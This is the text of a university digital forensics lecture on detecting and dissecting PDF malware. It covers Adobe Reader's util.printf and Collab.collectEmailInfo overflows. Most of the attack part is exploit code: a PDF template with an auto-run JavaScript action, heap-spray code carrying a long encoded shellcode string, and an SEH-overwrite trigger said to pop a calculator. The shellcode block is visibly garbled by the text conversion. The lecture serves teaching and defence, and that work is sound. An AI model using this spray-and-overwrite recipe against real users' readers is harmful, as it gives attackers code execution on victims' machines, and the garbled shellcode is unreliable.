Digital Forensics Reverse Engineering Lecture 4

PDF Malware Detection and Dissect (Heap)

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MyCERT Repository

- Malaysia Computer Emergency Response Team hosts some sample PDF files with malware
 - https://www.mycert.org.my/en/
- Sample vulnerability (CVE-2008-2992)
 - util.printf.stack buffer overflow
 - Adobe Reader JavaScript Printf Buffer Overflow by CoreSecurity
 - https://www.coresecurity.com/content/adobe-reader-buffer-overflow
 - Exploitable both remotely and locally

- Vulnerability description
 - The vulnerability is caused due to a boundary error when parsing format strings containing a floating point specified in the "util.printf()" JavaScript function.
 - To exploit: A user opens a maliciously crafted PDF file allowing attackers to gain access to vulnerable systems and assume the privileges of a user running Acrobat Reader.
 - Adobe Reader version 9 is not vulnerable to this problem

Technical description

- In the implementation of JavaScript util.printf() function
- The function converts the argument it receives to a String, using only the first 16 digits of the argument and padding the rest with a fixed value of "O" (0X30)
- By passing an overly long and properly formatted command to the function it is possible to overwrite the programs' memory and control its execution flow.
- A crafted PDF file that embeds JavaScript code to manipulate the program's memory allocation pattern can allow an attacker to execute arbitrary code with the privileges of a user running the Adobe Reader application

- The details
 - The following JavaScript triggers the bug

```
1
2  var num = 1.2
  util.printf("%5000f",num)
```

- The above two lines cause the byte 0x20 to be copied 5000 times on the stack.
- This allows to take control of the exception handler
- And also trigger an exception when trying to write in the section that comes after the stack
- By filling the heap until the address 0x202020 (for instance using the heap spray attack) an exploit can be made for Foxit Reader.

- The details
 - By crafting a PDF file, and open it with Acrobar Reader 8.12, the application closed without any warning and crashing and it simply closed.
 - By disassembling the DLL library Escript.api, we reach the following code.

```
1
2 238AF9C5 PUSH EDI
3 238AF9C6 PUSH 20
4 238AF9C8 PUSH ESI
238AF9C9 CALL MSVCR80.memset
```

- Where EDI is the size to be copied, controlled by the attacker,
- ESI is the destination, pointing to a buffer in the stack
- EScript.api is part of Adobe Acrobat Escript and developed by Adobe Systems
- EScript.api's description is "Adobe Acrobat Escript Plug-in"
- EScript.api is usually located in the 'c:\Program Files\Adobe\Reader 9.0\Reader \plug_ins\' folder.

- The details
 - Inside the code of the memset function, when trying to write in the section that comes after the stack, the program generates an exception as:

```
78144AFF REP STOS DWORD PTR ES:[EDI]
```

 After examining the active SHE (Structured Exception Handlers), we see that we have two SHE

```
1
2 Address SE handler
3 0012EE70 EScript.238F6F95
0012F140 20202020
```

One has been completely overwritten by us, and the other one not.

- The details
 - The code of the first handler is:

```
238F6F95
                 MOV EDX, DWORD PTR SS: [ESP+8]
                 LEA EAX, DWORD PTR DS: [EDX+C]
     238F6F99
                  MOV ECX, DWORD PTR DS: [EDX-58]
     238F6F9C
                 XOR ECX, EAX
     238F6F9F
 5
                  CALL EScript.23806D28
     238F6FA1
                                             Security Cookie Check 1
 6
                 MOV ECX, DWORD PTR DS: [EDX+22C]
     238F6FA6
     238F6FAC
                  XOR ECX, EAX
8
     238F6FAE
                  CALL EScript.23806D28
                                            Security Cookie Check 2
9
                 MOV EAX, EScript. 2391B54C
     238F6FB3
10
                  JMP MSVCR80. CxxFrameHandler3
     238F6FB8
```

- When the exception is generated, this handler takes the control and is charged of checking two security cookies.
- One of the cookies has been overwritten, so the execution jumps directly to ExitProcess
- For a complete discussion about this vulnerability refer to
- https://www.coresecurity.com/content/adobe-reader-buffer-overflow

- JavaScript variables are created in the heap rather than stack variables
- Usually heap resides in higher memory area like 0x0a0a0a0a....0x0c0c0c0c
- Generally, arrays are used to create a large of JavaScript variables

```
    array = new array()
    nop = %u9090%u9090.....%u9090
    shellcode = %u6565%u.....;
    array[1] = nop + shellcode;
    array[2] = nop + shellcode;
    array[300] = nop + shellcode;
```

- The above code fills the heap area with a combination of cops and shellcode
- We fill the heap addresses with the combination of cops and shellcode
- And then later we redirect the flow to these addresses so that our shellcode gets executed

- A stack overflow bug exists in Collab.collectEmailInfo() in adobe
- Exploitation involves spraying the heap then overwriting the EIP with heal address 0x0a0a0a0a
- xxCreated a PDF template using Didier Stevens tools
 - Reference:

http://dreamofareverseengineer.blogspot.com/2011/07/heap-spraying-adobe-exploiting.html

```
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
endobj
20 obj
<<
/Type /Outlines
/Count 0
>>
endobj
30 obj
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
endobj
5 0 obj
<< /Length 56 >>
```


stream

```
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
endobj
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
this.collabStore = Collab.collectEmailInfo({subj: "ss",msg: "hi"});
>>
endobj
xref
08
0000000000 65535 f
0000000012 00000 n
0000000109 00000 n
0000000165 00000 n
0000000234 00000 n
0000000439 00000 n
0000000553 00000 n
0000000677 00000 n
trailer
<<
/Size 8
/Root 1 0 R
startxref
784
%%EOF
```


- We can put any JavaScript code in the
 - /JS () in the above code and execute JavaScript

```
var crsh = unescape("%u1212");
while (crsh.length < 0x2000)
if (app.viewerVersion >= 6.0)
{
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: crsh});
}
```

- Place the above JavaScript code in the PDF file (previous slide)
- The open adobe reader in "ollydbg" and run it.
- The open the above pdf in adobe.
- If there is an exception in ollydbg then press shift+F9 till the eip gets overwritten



 View SEH (Structured Exception Handler) chain in ollydbg->view->SHE chain



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
- Now, lets create the exploit code. The following code is use to spray the heap with shellcode and nops
- http://dreamofareverseengineer.blogspot.com/2011/07/heap-spraying-adobeexploiting.html

```
function HeapSpray()
Array2 = new Array();
var\ Shellcode = unescape ("%u3c73\%u343f\%u3514\%u2a1c\%ud6d2\%ub624\%u2c7c\%ud538\%ub8b5\%uf533\%u7e37\%u7925\%ue031\%u9027\%u19b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u4be2\%u4078\%u097b2\%u19b2\%u4be2\%u4078\%u097b2\%u19b2\%u4be2\%u4078\%u097b2\%u19b2\%u4be2\%u4078\%u097b2\%u19b2\%u4be2\%u4078\%u097b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2\%u19b2
\%u71f8\%u9948\%ubf8d\%u1d9f\%u4315\%u767d\%u752d\%u494e\%u98b0\%u727f\%u7a76\%ub30c\%u8392\%ue2d1\%u3d7c\%u91b9\%u2270\%u2ffc\%ub2a8\%u2c92\%u4796\%ua90d
%u357b%ub49f%u98b0%u04b3%uf539%u46b8%uf929%u7d4f%u7315%ubf66%u778d%ub54a%u417e%ue319%u0243%ubbd5%ueb31%u781c
\%u9325\%ube42\%u9990\%u2405\%u103c\%ud4d0\%ufd84\%u1879\%u2be1\%u74f8\%u0827\%u40d6\%ub72d\%ue009\%u491d\%u3771\%u3fb1\%u6748\%u7534\%ub64e\%u9b0c\%u3dba
\%u147c\%u8797\%ue1f7\%u8c4b\%u0ce2\%u808d\%u66f9\%u404a\%u2f3d\%ue311\%u277a\%u2442\%u38bf\%u93fd\%u25b4\%u491c
\%u7bb9\%u6773\%ub3a9\%u7672\%ube0d\%u4115\%u0534\%u7492\%uf512\%ud50a\%u7f79\%u2175\%u2de0\%u9b9f\%uff83\%uc0c7\%u77d4\%u3f46\%uba96\%u98b7\%u14bb96\%u7b99\%u6773\%ub3a9\%u7672\%ub60d\%u4115\%u0534\%u7492\%uf512\%ud50a\%u7f79\%u2175\%u2de0\%u9b9f\%uff83\%uc0c7\%u77d4\%u3f46\%uba96\%u98b7\%u14bb96\%u7b99\%u6773\%ub3a9\%u7672\%ub60d\%u4115\%u0534\%u7492\%uf512\%ud50a\%u7f79\%u2175\%u2de0\%u9b9f\%uff83\%uc0c7\%u77d4\%u3f46\%uba96\%u98b7\%u14bb96\%u7b99\%uff83\%u50a\%u7b99\%uff83\%u50a\%u7b99\%u7b96\%u7b99\%u7b96\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99\%u7b99000000
\%uba24\%u7d2f\%u4377\%u7690\%ubf3d\%u728d\%ufd30\%u49b4\%ub266\%u89bb\%ue2d2\%u2570\%ub09f\%u3c78\%ub840\%u4e27\%ue01a\%u3746\%ub12d
%u4297%uf988%u7b04%u3579%u3275%uc6fe%ue3c1%uf869%u2873%u47eb%u4b7f%ub998%u3414%u9691%uf523%ufc13%u7a93%u9967%ud620%u051d
%u74a8%u2271%u4ad4%u15a9%u484f%ud51b%u3fbe%ub6b3%u0cb7%ue181%u922c%u0d9b%u1c7c%u7eb5%u7341%u667a%u70be%u7974%u757b%ub737%ud33a
%ua943%u761c%u4e0d%u05bb%u3327%u46f5%u3d9b%u3c35%u3b72%u04f8%uf621%u4bd4%u41b8%u7897%ufd22%u9114%u7cb9%ufc03%ud186%u20eb%u49e1%ub3bf
\%u9699\%u2cb4\%u48b2\%ud533\%u7bba\%u8366\%u72e3\%u7014\%ud069\%u98d4\%u963c\%u3f74\%u7877\%u737a\%u8d49\%u1941\%u71e1\%u0105\%ub2f8\%u4f4a\%u0d7c\%ud30a
%u79eb%uf52b%u34b5%ube43%u97b7%u1c04%ub990%u2c35%u819f%uf9c1%u6b48%u93fc%u3775%u0c2f%ua9b3%u272d%u91ba%u7da8%u9225%u994e
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%u85bb%u47d5%u6670%ub741%uf829%u3a72%u71eb%u2f7a%u7d46%u4875%u7fb9%u1d04%u894f%u37e0%u93b5%u7973%ufc3b%ub64e%u9298%u9f3f
%ua9a8%ufd08%u1cbf%u144a%u340c%u322c%u2de1%ub296%uba67%u4976%uf502%u25be
\%u4b40\%ue280\%u9943\%u7bb3\%ue030\%ub027\%ub4b8\%u7691\%u7015\%u7942\%ud638\%u3974\%u35eb\%ue288\%u7c24\%ud412\%ud287\%u0de3\%u3d77\%u908d
\%u1b71\%u7ef9\%uf528\%u9966\%u3c73\%u922c\%u2a72\%u0df9\%u4a4f\%ud523\%u187f\%u7afd\%u0935\%u2fe1\%ubb47\%u48be
%ub2b6%u7d91%u7805%ud413%ub8b0%u1475%u438d%u9634%u044b%u970c%u8cb9%u25d6%u1d90%u931c%u27ba%ub3bf%ua846%u24a9%uc041%u40f8%u153d
\%u4e42\%ub49f\%ub5b7\%ufc3f\%u492d\%ub167\%u9b98\%uda37\%ubace\%ufdc9\%u156d\%u74d9\%uf424\%u2b58\%ub1c9\%u3133\%u1750\%u5003\%u8317\%uf909\%ue08f
%uea75%u0bd9%ueb85%u82b9%uda60%uf1eb%u4fe1%u713c%u63a7%ud7b7%uf753%uffb5%ub054%u2670%u415b
\%ue6b5\%u8137\%u9ad7\%ud645\%ua237\%u2b86\%ue339\%uc4fa\%ubc6b\%u7671\%uc99c\%u4bc7\%u1d9d\%uf34c\%u18e5\%u8092\%u225f\%u39c2\%u6ceb\%u32fa\%u4cb3\%u97fb
%ub1a7%u9cb2%u411c%u7545%uaa6d%ub974%u9522%u34b9%ud13a%ua77d%u2949%u5a7e%uea4a%u80fd%uefdf%u43a5%ud447%u8754%u9f1e%u6c5a%uc754%u737e
\%u73b9\%uf87a\%u543c\%uba0b\%u701a\%u1850\%u2102\%ucf3c\%u313b\%ub098\%u3999\%ua40a\%u6398\%u3b40\%u1e28\%u3b2d\%u2132\%u541d\%uaa03\%u23f2\%u799c
%udcb7%u20d6%u7491%ub0bf%u18a0%u6f40%u24e6%u9ac3%ud296%ueedb%u9f93%u025b%ub0e9%u2409%ub05e%u471b%u2201%ua6c7%uc2a4%ub762"):
var SprayValue = unescape("%u9090%u9090");
do{SprayValue +=SprayValue}while(SprayValue.length < 800000/2);
\begin{array}{l} \text{for}(j=0;j<200;j++) \text{ Array2}[j]=SprayValue+Shellcode} \\ TU-Digital Forensics-2018 \\ \end{array}
```

- We can adjust the values 800000/2 and j < 200 and test the exploit.
- The following code is used to do a SHE overwrite which redirects the code to 0x0a0a0a0a on heap where our shellcode resides

```
var crsh = unescape("%u0a0a%u0a0a");
while (crsh.length < 0x4000)
    crsh += crsh;
if (app.viewerVersion >= 6.0)
    {
    this.collabStore = Collab.collectEmailInfo({subj: "",msg: crsh});
}
```

• And the calc pops up:



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References

http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/
 17/10_lecture.pdf